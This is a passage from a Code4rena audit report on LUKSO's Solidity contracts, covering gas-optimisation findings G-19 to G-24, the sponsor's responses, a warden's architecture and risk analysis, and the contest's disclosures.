38    _indexToken[index] = tokenId;

44    bytes32 lastTokenId = _indexToken[lastIndex];

45    _indexToken[index] = lastTokenId;

48    delete _indexToken[lastIndex];



39    _tokenIndex[tokenId] = index;

42    uint256 index = _tokenIndex[tokenId];

46    _tokenIndex[lastTokenId] = index;

49    delete _tokenIndex[tokenId];
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Enumerable.sol#L38

[G-19] Empty blocks should be removed or emit something

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting. If the contract is meant to be extended, the contract should be abstract and the function signatures be added without any default implementation. If the block is an empty `if-statement` block to avoid doing subsequent checks in the `else-if/else` conditions, the `else-if/else` conditions should be nested under the negation of the `if-statement`, because they involve different classes of checks, which may lead to the introduction of errors when the code is later modified `(if(x){}else if(y){...}else{...} => if(!x){if(y){...}else{...}})`.

[Reference](#)

```
File: /contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol
442    function _beforeTokenTransfer(
         address from,
         address to,
         uint256 amount
     ) internal virtual {}
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol#L442

```
File: /contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDi
444  function _beforeTokenTransfer(
         address from,
         address to,
         bytes32 tokenId
     ) internal virtual {}
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDigitalAssetCore.sol#L444

[G-20] Uncheck `arithmetics` operations that can't underflow/overflow

Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the `arithmetic` operation), some gas can be saved by using an [unchecked block](#)

Replace this:

```
uint256 value = yield(a, b, c - totalFee(c), address(this));
```

with this:

```
unchecked {uint256 value = yield(a, b, c - totalFee(c), address
```

▶ Details

[G-21] Use constants instead of `type(uintx).max`

It's generally more gas-efficient to use constants instead of `type(uintX).max` when you need to set the maximum value of an unsigned integer type.

The reason for this, is that the `type(uintX).max` expression involves a computation at runtime, whereas a constant is evaluated at compile-time. This means, that using `type(uintX).max` can result in additional gas costs for each transaction that involves the expression.

By using a constant instead of `type(uintX).max`, you can avoid these additional gas costs and make your code more efficient.

Here's an example of how you can use a constant instead of `type(uintX).max`:

```
contract MyContract {
    uint120 constant MAX_VALUE = 2**120 - 1;

    function doSomething(uint120 value) public {
        require(value <= MAX_VALUE, "Value exceeds maximum");

        // Do something
    }
```

```
}
```

In the above example, we have a contract with a constant `MAX_VALUE` that represents the maximum value of a `uint120`. When the `doSomething` function is called with a value parameter, it checks whether the value is less than or equal to `MAX_VALUE` using the <= operator.

By using a constant instead of `type(uint120).max`, we can make our code more efficient and reduce the gas cost of our contract.

It's important to note that using constants can make your code more readable and maintainable, since the value is defined in one place and can be easily updated if necessary. However, constants should be used with caution and only when their value is known at compile-time.

```
File: /contracts/LSP5ReceivedAssets/LSP5Utils.sol
87   if (oldArrayLength == type(uint128).max) {

190  if (newArrayLength >= type(uint128).max) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP5ReceivedAssets/LSP5Utils.sol#L87

```
File: /contracts/LSP6KeyManager/LSP6Modules/LSP6ExecuteModule.sc
296   bytes28(type(uint224).max)

378   allowedAddress == address(bytes20(type(uint160).max)) ||

395   allowedStandard == bytes4(type(uint32).max) ||

414   allowedFunction == bytes4(type(uint32).max) ||
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6Modules/LSP6ExecuteModule.sol#L296

```
File: /contracts/LSP10ReceivedVaults/LSP10Utils.sol
85   if (oldArrayLength == type(uint128).max) {

135  if (oldArrayLength > type(uint128).max) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP10ReceivedVaults/LSP10Utils.sol#L85

[G-22] Access mappings directly rather than using accessor functions

Saves having to do two `JUMP` instructions, along with stack setup.

```
File: /ERC725/blob/v5.1.0/implementations/contracts/ERC725YCore.
99   return _store[dataKey];
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/ERC725YCore.sol#L99

```
File: /contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Enu
28   return _indexToken[index];
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Enumerable.sol#L28

```
File: /contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Enu
30   return _indexToken[index];
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8EnumerableInitAbstract.sol#L30

```
File: /contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol
```

```
73   return _tokenOwnerBalances[tokenOwner];
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol#L73

[G-23] Use assembly to emit events

We can use assembly to emit events efficiently by utilizing scratch space and the free memory pointer. This will allow us to potentially avoid memory expansion costs. Note: In order to do this optimization safely, we will need to cache and restore the free memory pointer.

For example, for a generic emit event for `eventSentAmountExample`:

```
 // uint256 id, uint256 value, uint256 amount
emit eventSentAmountExample(id, value, amount);
```

We can use the following assembly emit events:

```
        assembly {
                let memptr := mload(0x40)
                mstore(0x00, calldataload(0x44))
                mstore(0x20, calldataload(0xa4))
                mstore(0x40, amount)
                log1(
                    0x00,
                    0x60,
                    // keccak256("eventSentAmountExample(uint256,uir
                    0xa622cf392588fbf2cd020ff96b2f4ebd9c76d7a4bc7f3e
                )
                mstore(0x40, memptr)
            }
```

```
File: /contracts/custom/OwnableUnset.sol
72   emit OwnershipTransferred(oldOwner, newOwner);
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/custom/OwnableUnset.sol#L72

[G-24] Use `uint256(1)` / `uint256(2)` instead for true and false boolean states

If you don't use boolean for storage you will avoid Gwarmaccess 100 gas. In addition, state changes of boolean from true to false can cost up to ~20000 gas rather than `uint256(2)` to `uint256(1)` that would cost significantly less.

```
File: /contracts/LSP6KeyManager/LSP6KeyManagerCore.sol
541   _reentrancyStatus = true;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L541

CJ42 (LUKSO) confirmed and commented:

> Most of the suggested Gas Optimisations can be confirmed except for the following:

> G-01: Yes, could make sense to put the data location as `calldata` in the interfaces and also in the implementation contracts + test the change in gas in practice. But we have to be careful with this, as `calldata` can reduce composability, because these functions are marked as `public` and could also be called internally inside a function if the contract is inherited.

> For instance, it's not possible to construct an array in `memory` internally inside a function and then call this function if it takes `calldata as parameter. This will not compile. To be discussed.

> G-02: We are planning to split our contracts between two repositories (the standard version vs the proxy version). We will be able to do this optimisation once we have removed the `LSPNCore` contracts. Until then, we cannot do anything.

> G-06, G-07, G-09, G-21 might be discarded as they do not improve readability.

> For G-21 in particular, hardcoded literals are less readable than `type(uintN).max` , and more likely to be error prone when written (e.g: forgetting a byte `0xff` when writing the literal):

> For instance below, there is only `15 x 0xff`

```
MAX_UINT128 = 0xffffffffffffffffffffffffffffff
```

> What we could do is have readable constants like below and use them across the code, as something in between:

```
uint128 constant MAX_LSP5_ARRAY_LENGTH_ALLOWED = type(uint128).m
```

> For the gas optimisations related to assembly (G-13 and G-23), we are not in favour of using assembly for gas optimisation, as it makes the code less readable and potentially less safe.

Audit Analysis

For this audit, 3 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by **K42** received the top score from the judge.

The following wardens also submitted reports: gpersoon and catellatech.

Overview

- LUKSO is a blockchain ecosystem specifically created for the lifestyle industry, providing a decentralized innovation and trust infrastructure for fashion brands, start-ups, and customers. It offers various standards and features, including digital identities, certificates, and various forms of digital ownership and assets.

Understanding the Ecosystem

LUKSO'S ecosystem is built around various standards and modules, including:

- `ERC725` : A smart contract standard that includes two main components, `ERC725X` and `ERC725Y` , which provide a generic executor contract and a generic data key-value store, respectively.
- `LSP0ERC725Account` : An advanced smart contract-based account that offers a comprehensive range of essential features, including a generic `bytes32 => bytes` data key-value store, a generic execution medium, signature validation via `ERC1271` , a universal function (`LSP1 universalReceiver(bytes32,bytes)`) to be notified about different actions and information, extensibility via `LSP17` , secure ownership management module (`LSP14`), and direct execution through the contract itself using the `LSP20` standard.
- `LSP1UniversalReceiver` and `LSP1UniversalReceiverDelegate` : Standards designed to facilitate a universally standardized way of receiving notifications about various actions.
- `LSP6KeyManager` : A smart contract that acts as a controller for another contract it is linked to, enabling the linked contract to be controlled by multiple addresses.
- `LSP4DigitalAssetMetadata` , `LSP7DigitalAsset` , and `LSP8IdentifiableDigitalAsset` : Token standards that define fungible and non-fungible tokens, respectively, and include a flexible data key-value store via `LSP4` .
- `LSP14Ownable2Step` : An advanced ownership module designed to give a more precise and safer way to manage contract ownership.
- `LSP17ContractExtension` : A standard designed to extend a contract's functionality post-deployment.
- `LSP20CallVerification` : An innovative module that simplifies access control rules verification within smart contracts.

Codebase Quality Analysis

- The LUKSO codebase is well-structured and follows best practices for smart contract development. It is modular, with each standard and feature implemented in separate contracts. This modular design makes the codebase easier to navigate and understand, and it also allows for more efficient testing and auditing.

- The contracts are well-documented, with clear comments explaining the purpose and functionality of each function and module. This level of documentation is crucial for understanding the intended behaviour of the contracts and for identifying any potential discrepancies between the implementation and the intended behaviour.
- The codebase also includes comprehensive tests, which is a positive indicator of code quality. These tests cover various scenarios and edge cases, helping to ensure that the contracts behave as expected in a wide range of situations.

Architecture Recommendations

The architecture of the LUKSO ecosystem is well-designed, with clear separation of concerns and modular components. However, there are a few areas where improvements could be made:

- Implementing a more robust system for managing permissions: The current system, while flexible, could potentially be exploited if a controller is granted overlapping permissions. A more robust system could include checks to prevent such overlaps.
- Improving gas efficiency: Some functions, such as the `transferBatch(...)` function in the `LSP7` and `LSP8` standards, could be optimized for gas efficiency.
- Adding more functionality to the `LSP6KeyManager`: Currently, the `executeBatch(..)` function is not supported, and the `relayer` can choose the amount of gas provided when interacting with the `executeRelayCall(...)` functions. Adding support for batch execution and more control over gas provision could improve the functionality and usability of the `KeyManager`.

Centralization Risks

- The LUKSO ecosystem is designed to be decentralized, with multiple controllers able to manage a contract and various standards for decentralized ownership and execution. However, there are potential centralization risks, particularly if a single controller is granted multiple permissions. This could potentially allow the controller to bypass required permissions or lock the account. To mitigate these risks, it would be beneficial to implement additional checks and balances in the permission management system.

Mechanism Review

- The mechanisms implemented in the LUKSO ecosystem, including the `ERC725` standard, the `LSP` standards, and the various modules for ownership management, execution and extension, are innovative and well-designed. They provide a comprehensive range of features and capabilities, enabling a wide range of use cases in the lifestyle industry.
- However, there are some potential issues and risks associated with these mechanisms. For example, the `LSP1UniversalReceiverDelegate` could potentially be used to register spam assets, and the `LSP14Ownable2Step` module could potentially be exploited if the current owner is a contract that implements `LSP1` . These issues should be carefully considered and mitigated to ensure the security and reliability of the ecosystem.

Systemic Risks

- The systemic risks in the LUKSO ecosystem primarily relate to the potential for permission overlap and the potential for spamming or exploitation of the `LSP1UniversalReceiverDelegate` . These risks could potentially be mitigated through more robust permission management and additional checks and balances in the `LSP1UniversalReceiverDelegate` .

Areas of Concern

- The main areas of concern in the LUKSO ecosystem relate to permission management, gas efficiency, and potential exploitation of the `LSP1UniversalReceiverDelegate` and `LSP14Ownable2Step` modules. These issues should be addressed to ensure the security, efficiency, and reliability of the ecosystem.

Codebase Analysis

- The LUKSO codebase is well-structured, well-documented, and includes comprehensive tests. However, there are areas where improvements could be made, particularly in terms of gas efficiency and permission management.

Recommendations

To improve the LUKSO ecosystem, the following recommendations could be considered:

- Implement a more robust system for managing permissions to prevent potential overlaps and exploitation.
- Optimize functions for gas efficiency, particularly the `transferBatch(...)` function in the `LSP7` and `LSP8` standards.
- Implement additional checks and balances in the `LSP1UniversalReceiverDelegate` to prevent potential spamming or exploitation.
- Add more functionality to the `LSP6KeyManager`, such as support for batch execution and more control over gas provision.

Contract Details

- The LUKSO ecosystem includes a wide range of contracts implementing various standards and features. These contracts are well-documented and include comprehensive tests, indicating a high level of code quality.

Conclusion

- The LUKSO ecosystem is a well-designed and innovative platform for the lifestyle industry, offering a wide range of features and capabilities. However, there are areas where improvements could be made, particularly in terms of permission management, gas efficiency, and potential exploitation of certain modules. By addressing these issues, the LUKSO ecosystem could become even more secure, efficient, and reliable.

Time spent 20 hours

[CJ42 (LUKSO) confirmed and commented]:

> Good feedbacks and analysis provided overall. Some of this content might be useful, and we consider including it in our docs.

> *Improving gas efficiency: Some functions, such as the `transferBatch(...)` function in the `LSP7` and `LSP8` standards, could be optimized for gas efficiency.*

> Adding more functionality to the `LSP6KeyManager`: Currently, the `executeBatch(..)` function is not supported, and the relayer can choose the amount of gas provided when interacting with the `executeRelayCall(...)` functions. Adding support for batch execution and more control over gas provision could improve the functionality and usability of the `KeyManager`.

> These are things that we consider adding in the future. It is in our roadmap.

> Regarding the risks reported, these will be considered and investigated in the future.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.